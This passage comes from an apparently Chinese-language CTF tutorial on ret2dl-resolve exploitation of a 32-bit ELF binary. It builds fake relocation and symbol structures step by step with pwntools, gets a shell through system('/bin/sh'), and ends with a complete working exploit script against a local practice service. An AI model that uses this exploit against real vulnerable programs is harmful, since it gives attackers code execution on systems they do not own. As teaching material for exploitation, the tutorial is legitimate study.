"AAAA" payload_3 += p32(1) payload_3 += p32(base_addr + 80) payload_3 += p32(len("/bin/sh")) payload_3 += "A" * (80 - len(payload_3)) payload_3 += "/bin/sh\x00" payload_3 += "A" * (100 - len(payload_3)) io.sendline(payload_3) print io.recv() ``` 接下来，我们更进一步，伪造一个 write 函数的 Elf32_Rel 结构体，原结构体在 `.rel.plt` 中，如下所示： ```C typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; ``` ``` $ readelf -r a.out | grep write 0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0 ``` 该结构体的 `r_offset` 是 write@got 地址，即 `0x0804a01c`，`r_info` 是 `0x707`。动态装载器通过 reloc_index 找到它，而 reloc\_index 是相对于 `.rel.plt` 的偏移，所以我们如果控制了这个偏移，就可以跳转到伪造的 write 上。payload 如下： ```python reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 r_info = 0x707 fake_reloc = p32(write_got) + p32(r_info) payload_4 = "AAAA" payload_4 += p32(plt_0) payload_4 += p32(reloc_index) payload_4 += "AAAA" payload_4 += p32(1) payload_4 += p32(base_addr + 80) payload_4 += p32(len("/bin/sh")) payload_4 += fake_reloc payload_4 += "A" * (80 - len(payload_4)) payload_4 += "/bin/sh\x00" payload_4 += "A" * (100 - len(payload_4)) io.sendline(payload_4) print io.recv() ``` 另外讲一讲 Elf32_Rel 值的计算方法如下，我们下面会得用到： ```C #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) ``` - `ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7`，即 `.dynsym` 的第 7 行 - `ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7`，即 `#define R_386_JMP_SLOT 7 /* Create PLT entry */` - `ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707`，即 r_info 这一次，伪造位于 `.dynsym` 段的结构体 Elf32_Sym，原结构体如下： ```C typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; ``` ``` $ readelf -s a.out | grep write 7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2) ``` 转储 `.dynsym` 段并找到第 7 行： ``` $ objdump -s -j .dynsym a.out ... 804823c 4c000000 00000000 00000000 12000000 L............... ... ``` 其中最重要的是 `st_name` 和 `st_info`，分别为 `0x4c` 和 `0x12`。构造 payload 如下： ```python reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10 fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff)) fake_reloc = p32(write_got) + p32(r_info) st_name = 0x4c st_info = 0x12 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_5 = "AAAA" payload_5 += p32(plt_0) payload_5 += p32(reloc_index) payload_5 += "AAAA" payload_5 += p32(1) payload_5 += p32(base_addr + 80) payload_5 += p32(len("/bin/sh")) payload_5 += fake_reloc payload_5 += "A" * align payload_5 += fake_sym payload_5 += "A" * (80 - len(payload_5)) payload_5 += "/bin/sh\x00" payload_5 += "A" * (100 - len(payload_5)) io.sendline(payload_5) print io.recv() ``` 一样地讲一下 st_info 的解析和插入算法： ```C #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) ``` - `ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1`，即 `#define STB_GLOBAL 1 /* Global symbol */` - `ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2`，即 `#define STT_FUNC 2 /* Symbol is a code object */` - `ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12`，即 st_info 下一步，是将 `st_name` 指向我们伪造的字符串 "write"，payload 如下： ```python reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = fake_sym_addr + 0x10 - dynstr # address of string "write" st_bind = 0x1 # STB_GLOBAL -> Global symbol st_type = 0x2 # STT_FUNC -> Symbol is a code object st_info = (st_bind << 4) + (st_type & 0xf) # 0x12 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_6 = "AAAA" payload_6 += p32(plt_0) payload_6 += p32(reloc_index) payload_6 += "AAAA" payload_6 += p32(1) payload_6 += p32(base_addr + 80) payload_6 += p32(len("/bin/sh")) payload_6 += fake_reloc payload_6 += "A" * align payload_6 += fake_sym payload_6 += "write\x00" payload_6 += "A" * (80 - len(payload_6)) payload_6 += "/bin/sh\x00" payload_6 += "A" * (100 - len(payload_6)) io.sendline(payload_6) print io.recv() ``` 最后，只要将 "write" 替换成任何我们希望的函数，并调整参数，就可以了，这里我们换成 "system"，拿到 shell： ```python reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_7 = "AAAA" payload_7 += p32(plt_0) payload_7 += p32(reloc_index) payload_7 += "AAAA" payload_7 += p32(base_addr + 80) payload_7 += "AAAA" payload_7 += "AAAA" payload_7 += fake_reloc payload_7 += "A" * align payload_7 += fake_sym payload_7 += "system\x00" payload_7 += "A" * (80 - len(payload_7)) payload_7 += "/bin/sh\x00" payload_7 += "A" * (100 - len(payload_7)) io.sendline(payload_7) io.interactive() ``` Bingo!!! ``` $ python2 exp.py [*] '/home/firmy/Desktop/a.out' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ whoami firmy ``` 这题是 32 位程序，在 64 位下会有一些变化，比如说： - 64 位程序一般情况下使用寄存器传参，但给 `_dl_runtime_resolve` 传参时使用栈 - `_dl_runtime_resolve` 函数的第二个参数 `reloc_index` 由偏移变为了索引。 - `_dl_fixup` 函数中，在伪造 fake_sym 后，可能会造成崩溃，需要将 `link_map+0x1c8` 地址上的值置零 具体的以后遇到再说。 如果觉得手工构造太麻烦，有一个工具 [roputils](https://github.com/inaz2/roputils) 可以简化此过程，感兴趣的同学可以自行尝试。 ## Exploit 完整的 exp 如下： ```python from pwn import * # context.log_level = 'debug' elf = ELF('./a.out') io = remote('127.0.0.1', 10001) io.recv() pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret pop_ebp_addr = 0x0804869b # pop ebp ; ret leave_ret_addr = 0x080484b6 # leave ; ret write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 base_addr = bss_addr + 0x600 # 0x804a628 payload_1 = "A" * 112 payload_1 += p32(read_plt) payload_1 += p32(pppr_addr) payload_1 += p32(0) payload_1 += p32(base_addr) payload_1 += p32(100) payload_1 += p32(pop_ebp_addr) payload_1 += p32(base_addr) payload_1 += p32(leave_ret_addr) io.send(payload_1) # payload_2 = "AAAA" # new ebp # payload_2 += p32(write_plt) # payload_2 += "AAAA" # payload_2 += p32(1) # payload_2 += p32(base_addr + 80) # payload_2 += p32(len("/bin/sh")) # payload_2 += "A" * (80 - len(payload_2)) # payload_2 += "/bin/sh\x00" # payload_2 += "A" * (100 - len(payload_2)) # io.sendline(payload_2) # print io.recv() # reloc_index = 0x20 # payload_3 = "AAAA" # payload_3 += p32(plt_0) # payload_3 += p32(reloc_index) # payload_3 += "AAAA" # payload_3 += p32(1) # payload_3 += p32(base_addr + 80) # payload_3 += p32(len("/bin/sh")) # payload_3 += "A" * (80 - len(payload_3)) # payload_3 += "/bin/sh\x00" # payload_3 += "A" * (100 - len(payload_3)) # io.sendline(payload_3) # print io.recv() # reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28 # r_info = 0x707 # fake_reloc = p32(write_got) + p32(r_info) # payload_4 = "AAAA" # payload_4 += p32(plt_0) # payload_4 += p32(reloc_index) # payload_4 += "AAAA" # payload_4 += p32(1) # payload_4 += p32(base_addr + 80) # payload_4 += p32(len("/bin/sh")) # payload_4 += fake_reloc # payload_4 += "A" * (80 - len(payload_4)) # payload_4 += "/bin/sh\x00" # payload_4 += "A" * (100 - len(payload_4)) # io.sendline(payload_4) # print io.recv() # reloc_index = base_addr + 28 - rel_plt # fake_sym_addr = base_addr + 36 # align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10 # fake_sym_addr = fake_sym_addr + align # r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym # r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry # r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff)) # fake_reloc = p32(write_got) + p32(r_info) # st_name = 0x4c # st_info = 0x12 # fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) # payload_5 = "AAAA" # payload_5 += p32(plt_0) # payload_5 += p32(reloc_index) # payload_5 += "AAAA" # payload_5 += p32(1) # payload_5 += p32(base_addr + 80) # payload_5 += p32(len("/bin/sh")) # payload_5 += fake_reloc # payload_5 += "A" * align # payload_5 += fake_sym # payload_5 += "A" * (80 - len(payload_5)) # payload_5 += "/bin/sh\x00" # payload_5 += "A" * (100 - len(payload_5)) # io.sendline(payload_5) # print io.recv() # reloc_index = base_addr + 28 - rel_plt # fake_sym_addr = base_addr + 36 # align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # fake_sym_addr = fake_sym_addr + align # r_sym = (fake_sym_addr - dynsym) / 0x10 # r_type = 0x7 # r_info = (r_sym << 8) + (r_type & 0xff) # fake_reloc = p32(write_got) + p32(r_info) # st_name = fake_sym_addr + 0x10 - dynstr # address of string "write" # st_bind = 0x1 # STB_GLOBAL -> Global symbol # st_type = 0x2 # STT_FUNC -> Symbol is a code object # st_info = (st_bind << 4) + (st_type & 0xf) # 0x12 # fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) # payload_6 = "AAAA" # payload_6 += p32(plt_0) # payload_6 += p32(reloc_index) # payload_6 += "AAAA" # payload_6 += p32(1) # payload_6 += p32(base_addr + 80) # payload_6 += p32(len("/bin/sh")) # payload_6 += fake_reloc # payload_6 += "A" * align # payload_6 += fake_sym # payload_6 += "write\x00" # payload_6 += "A" * (80 - len(payload_6)) # payload_6 += "/bin/sh\x00" # payload_6 += "A" * (100 - len(payload_6)) # io.sendline(payload_6) # print io.recv() # reloc_index = base_addr + 28 - rel_plt # fake_sym_addr = base_addr + 36 # align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # fake_sym_addr = fake_sym_addr + align # r_sym = (fake_sym_addr - dynsym) / 0x10 # r_info = (r_sym << 8) + 0x7 # fake_reloc = p32(write_got) + p32(r_info) # st_name = fake_sym_addr + 0x10 - dynstr # fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) # payload_7 = "AAAA" # payload_7 += p32(plt_0) # payload_7 += p32(reloc_index) # payload_7 += "AAAA" # payload_7 += p32(base_addr + 80) # payload_7 += "AAAA" # payload_7 += "AAAA" # payload_7 += fake_reloc # payload_7 += "A" * align # payload_7 += fake_sym # payload_7 += "system\x00" # payload_7 += "A" * (80 - len(payload_7)) # payload_7 += "/bin/sh\x00" # payload_7 += "A" * (100 - len(payload_7)) # io.sendline(payload_7) reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_7 = "AAAA" payload_7 += p32(plt_0) payload_7 += p32(reloc_index) payload_7 += "AAAA" payload_7 += p32(base_addr + 80) payload_7 += "AAAA" payload_7 += "AAAA" payload_7 += fake_reloc payload_7 += "A" * align payload_7 += fake_sym payload_7 += "system\x00" payload_7 += "A" * (80 - len(payload_7)) payload_7 += "/bin/sh\x00" payload_7 += "A" * (100 - len(payload_7)) io.sendline(payload_7) io.interactive() ``` ## 参考资料 - [How the ELF Ruined Christmas](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf) - [Return-to-dl-resolve](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/)